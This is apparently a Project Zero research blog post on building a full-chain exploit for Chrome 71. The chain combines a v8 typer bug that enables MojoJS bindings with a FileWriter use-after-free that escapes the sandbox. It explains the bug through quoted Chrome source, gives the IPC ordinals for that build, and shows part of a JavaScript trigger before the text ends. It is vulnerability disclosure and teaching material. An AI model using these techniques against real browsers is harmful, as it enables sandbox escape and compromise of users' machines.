Posted by Mark Brand, Exploit Technique Archaeologist.
Introduction
After discovering a
collection of possible sandbox escape vulnerabilities in Chrome, it seemed worthwhile to
exploit one of these issues as a full-chain exploit together with a renderer vulnerability to get a better understanding of the mechanics required for a modern Chrome exploit. Considering the available bugs, the most likely appeared to be
issue 1755, a use-after-free with parallels to classic Javascript engine callback bugs. This is a good candidate because of the high level of control the attacker has both over the lifetime of the free’d object, and over the timing of the later use of the object.
Apologies in advance for glossing over a lot of details about how the Mojo IPC mechanisms function - there’ll hopefully be some future blogposts explaining in more detail how the current Chrome sandbox interfaces look, but there’s a lot to explain!
For the rest of this blog post, we’ll be considering the last stable 64-bit release of Desktop Chrome for Windows before this issue was fixed, 71.0.3578.98.
Getting started
One of the most interesting things that we noticed during our research into the Chrome Mojo IPC layer is that it’s actually possible to make IPC calls directly from
Javascript in Chrome! Passing the command line flag ‘--enable-blink-features=MojoJS’ to Chrome will enable this - and we used this feature to implement a Mojo fuzzer, which found some of the bugs reported.
Knowing about this feature, the cleanest way to implement a full Chrome chain would be to use a renderer exploit to enable these bindings in the running renderer, and then do our privilege elevation from Javascript!
Exploiting the renderer
_tsuro happened to have been working on an exploit for CVE-2019-5782, a nice bug in the v8 typer that was discovered by
SOrryMybad and used at the Tian Fu Cup. I believe they have an upcoming blog post on the issue, so I’ll leave the details to them.
The bug resulted from incorrectly estimating the possible range of `arguments.length`; this can then be leveraged together with the (BCE) Bounds-Check-Elimination pass in the JIT. Exploitation is very similar to other typer bugs - you can find the exploit in ‘many_args.js’. Note that as a result of _tsuro’s work, the v8 team
have removed the BCE optimisation to make it harder to exploit such issues in the typer!
The important thing here is that we’ll need to have a stable exploit - in order to launch the sandbox escape, we need to enable the Mojo bindings; and the easiest way to do this needs us to reload the main frame, which will mean that any objects we leave in a corrupted state will become fair game for garbage collection.
Talking to the Browser Process
Looking through the Chrome source code, we can see that the Mojo bindings are added to the Javascript context in
RenderFrameImpl::DidCreateScriptContext, based on the member variable enabled_bindings_. So, to mimic the command line flag we can use our read/write to set that value to BINDINGS_POLICY_MOJO_WEB_UI, and force the creation of a new ScriptContext for the main frame and we should have access to the bindings!
It’s slightly painful to get hold of the RenderFrameImpl for the current frame, but by following a chain of pointers from the global context object we can locate chrome_child.dll, and find the global `g_frame_map`, which is a map from blink::Frame pointers to RenderFrameImpl pointers. For the purposes of this exploit, we assume that there is only a single entry in this map; but it would be simple to extend this to find the right one. It’s then trivial to set the correct flag and reload the page - see `enable_mojo.js` for the implementation.
Note that Chrome randomizes the IPC ordinals at build time, so in addition to enabling the bindings, we also need to find the correct ordinals for every IPC method that we want to call. This can be resolved in a few minutes of time in a disassembler of your choice; given that the renderer needs to be able to call these IPC methods, this is just a slightly annoying obfuscation that we could engineer around if we were trying to support more Chrome builds, but for the one version we’re supporting here it’s sufficient to modify the handful of javascript bindings we need:
var kBlob_GetInternalUUID_Name = 0x2538AE26;
var kBlobRegistry_Register_Name = 0x2158E98A;
var kBlobRegistry_RegisterFromStream_Name = 0x719E4F82;
var kFileSystemManager_Open_Name = 0x305E02BE;
var kFileSystemManager_CreateWriter_Name = 0x63B8D2A6;
var kFileWriter_Write_Name = 0x64D4FC1C;
The bug
So we’ve got access to the IPC interfaces from Javascript - what now?
The bug that we’re looking at is an issue in the implementation of the FileWriter interface of the
FileSystem API. This is the interface description for the FileWriter interface, which is an IPC endpoint vended by the privileged browser process to the unprivileged renderer process to allow the renderer to perform brokered file writes to special sandboxed filesystems:
// Interface provided to the renderer to let a renderer write data to a file.
interface FileWriter {
// Write data from |blob| to the given |position| in the file being written
// to. Returns whether the operation succeeded and if so how many bytes were
// written.
// TODO(mek): This might need some way of reporting progress events back to
// the renderer.
Write(uint64 position, Blob blob) => (mojo_base.mojom.FileError result,
uint64 bytes_written);
// Write data from |stream| to the given |position| in the file being written
// to. Returns whether the operation succeeded and if so how many bytes were
// written.
// TODO(mek): This might need some way of reporting progress events back to
// the renderer.
WriteStream(uint64 position, handle<data_pipe_consumer> stream) =>
(mojo_base.mojom.FileError result, uint64 bytes_written);
// Changes the length of the file to be |length|. If |length| is larger than
// the current size of the file, the file will be extended, and the extended
// part is filled with null bytes.
Truncate(uint64 length) => (mojo_base.mojom.FileError result);
};
The vulnerability was in the implementation of the first method, Write. However, before we can properly understand the bug, we need to understand the lifetime of the FileWriter objects. The renderer can request a FileWriter instance by using one of the methods in the FileSystemManager interface:
// Interface provided by the browser to the renderer to carry out filesystem
// operations. All [Sync] methods should only be called synchronously on worker
// threads (and asynchronously otherwise).
interface FileSystemManager {
// ...
// Creates a writer for the given file at |file_path|.
CreateWriter(url.mojom.Url file_path) =>
(mojo_base.mojom.FileError result,
blink.mojom.FileWriter? writer);
// ...
};
The implementation of that function can be found
here:
void FileSystemManagerImpl::CreateWriter(const GURL& file_path,
CreateWriterCallback callback) {
DCHECK_CURRENTLY_ON(BrowserThread::IO);
FileSystemURL url(context_->CrackURL(file_path));
base::Optional<base::File::Error> opt_error = ValidateFileSystemURL(url);
if (opt_error) {
std::move(callback).Run(opt_error.value(), nullptr);
return;
}
if (!security_policy_->CanWriteFileSystemFile(process_id_, url)) {
std::move(callback).Run(base::File::FILE_ERROR_SECURITY, nullptr);
return;
}
blink::mojom::FileWriterPtr writer;
mojo::MakeStrongBinding(std::make_unique<storage::FileWriterImpl>(
url, context_->CreateFileSystemOperationRunner(),
blob_storage_context_->context()->AsWeakPtr()),
MakeRequest(&writer));
std::move(callback).Run(base::File::FILE_OK, std::move(writer));
}
The implication here is that if everything goes correctly, we’re returning a std::unique_ptr<storage::FileWriterImpl> bound to a mojo::StrongBinding. A strong binding means that the lifetime of the object is bound to the lifetime of the Mojo interface pointer - this means that the other side of the connection can control the lifetime of the object - and at any point where the code in storage::FileWriterImpl yields control of the
sequence associated with that binding, the connection could be closed and the instance could be free’d.
This gives us a handle to the blink::mojom::FileWriter Mojo interface described
here; the function of interest to us is the Write method, which has a handle to a blink::mojom::Blob as one of it’s parameters. We’ll look at this Blob interface again shortly.
With this in mind, it’s time to look at the vulnerable
function.
void FileWriterImpl::Write(uint64_t position,
blink::mojom::BlobPtr blob,
WriteCallback callback) {
blob_context_->GetBlobDataFromBlobPtr(
std::move(blob),
base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
std::move(callback), position));
}
Now, it’s not immediately obvious that there’s an issue here; but in the Chrome codebase instances of base::Unretained which aren’t immediately obviously correct are often worth further investigation (this creates an unchecked, unowned reference - see Chrome
documentation). So; this code can only be safe if GetBlobDataFromBlobPtr always synchronously calls the callback, or if destroying this will ensure that the callback is never called. Since blob_context_ isn’t owned by this, we need to look at the
implementation of GetBlobDataFromBlobPtr, and the way in which it uses callback:
void BlobStorageContext::GetBlobDataFromBlobPtr(
blink::mojom::BlobPtr blob,
base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback) {
DCHECK(blob);
blink::mojom::Blob* raw_blob = blob.get();
raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
base::BindOnce(
[](blink::mojom::BlobPtr, base::WeakPtr<BlobStorageContext> context,
base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback,
const std::string& uuid) {
if (!context || uuid.empty()) {
std::move(callback).Run(nullptr);
return;
}
std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
},
std::move(blob), AsWeakPtr(), std::move(callback)),
""));
}
The code above is calling an asynchronous Mojo IPC method GetInternalUUID on the blob parameter that’s passed to it, and then (in a callback) when that method returns it’s using the returned UUID to find the associated blob data (GetBlobDataFromUUID), and calling the callback parameter with this data as an argument.
We can see that the callback is passed into the return callback for an asynchronous Mojo function exposed by the Blob
interface:
// This interface provides access to a blob in the blob system.
interface Blob {
// Creates a copy of this Blob reference.
Clone(Blob& blob);
// Creates a reference to this Blob as a DataPipeGetter.
AsDataPipeGetter(network.mojom.DataPipeGetter& data_pipe_getter);
// Causes the entire contents of this blob to be written into the given data
// pipe. An optional BlobReaderClient will be informed of the result of the
// read operation.
ReadAll(handle<data_pipe_producer> pipe, BlobReaderClient? client);
// Causes a subrange of the contents of this blob to be written into the
// given data pipe. If |length| is -1 (uint64_t max), the range's end is
// unbounded so the entire contents are read starting at |offset|. An
// optional BlobReaderClient will be informed of the result of the read
// operation.
ReadRange(uint64 offset, uint64 length, handle<data_pipe_producer> pipe,
BlobReaderClient? client);
// Reads the side-data (if any) associated with this blob. This is the same
// data that would be passed to OnReceivedCachedMetadata if you were reading
// this blob through a blob URL.
ReadSideData() => (array<uint8>? data);
// This method is an implementation detail of the blob system. You should not
// ever need to call it directly.
// This returns the internal UUID of the blob, used by the blob system to
// identify the blob.
GetInternalUUID() => (string uuid);
};
This means that we can provide an implementation of this Blob interface hosted in the renderer process; pass an instance of that implementation into the FileWriter interface’s Write method, and we’ll get a callback from the browser process to the renderer process during the execution of GetBlobDataFromBlobPtr, during which we can destroy the FileWriter object. The use of base::Unretained here would be dangerous regardless of this callback, but having it scheduled in this way makes it much cleaner to exploit.
Step 1: A Trigger
First we need to actually reach the bug - this is a minimal trigger from Javascript using the MojoJS bindings we enabled earlier. A complete sample is attached to the bugtracker entry - the file is ‘trigger.js’
async function trigger() {
// we need to know the UUID for a valid Blob
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process");
let bytes_provider = new BytesProviderImpl();
let bytes_provider_ptr = new blink.mojom.BytesProviderPtr();
bytes_provider.binding.bind(mojo.makeRequest(bytes_provider_ptr));
let blob_ptr = new blink.mojom.BlobPtr();
let blob_req = mojo.makeRequest(blob_ptr);
let data_element = new blink.mojom.DataElement();
data_element.bytes = new blink.mojom.DataElementBytes();
data_element.bytes.length = 1;
data_element.bytes.embeddedData = [0];
data_element.bytes.data = bytes_provider_ptr;
await blob_registry_ptr.register(blob_req, 'aaaa', "text/html", "", [data_element]);
// now we have a valid UUID, we can trigger the bug
let file_system_manager_ptr = new blink.mojom.FileSystemManagerPtr();
Mojo.bindInterface(blink.mojom.FileSystemManager.name,
mojo.makeRequest(file_system_manager_ptr).handle, "process");
let host_url = new url.mojom.Url();
host_url.url = window.location.href;
let open_result = await file_system_manager_ptr.open(host_url, 0);
let file_url = new url.mojom.Url();
file_url.url = open_result.rootUrl.url + '/aaaa';
let file_writer = (await file_system_manager_ptr.createWriter(file_url)).writer;
function BlobImpl() {
this.binding = new mojo.Binding(blink.mojom.Blob, this);
}
BlobImpl.prototype = {
getInternalUUID: async (arg0) => {
// here we free the FileWriterImpl in the callback
create_writer_result.writer.ptr.reset();
return {'uuid': 'aaaa'};
}
};
let blob_impl = new BlobImpl();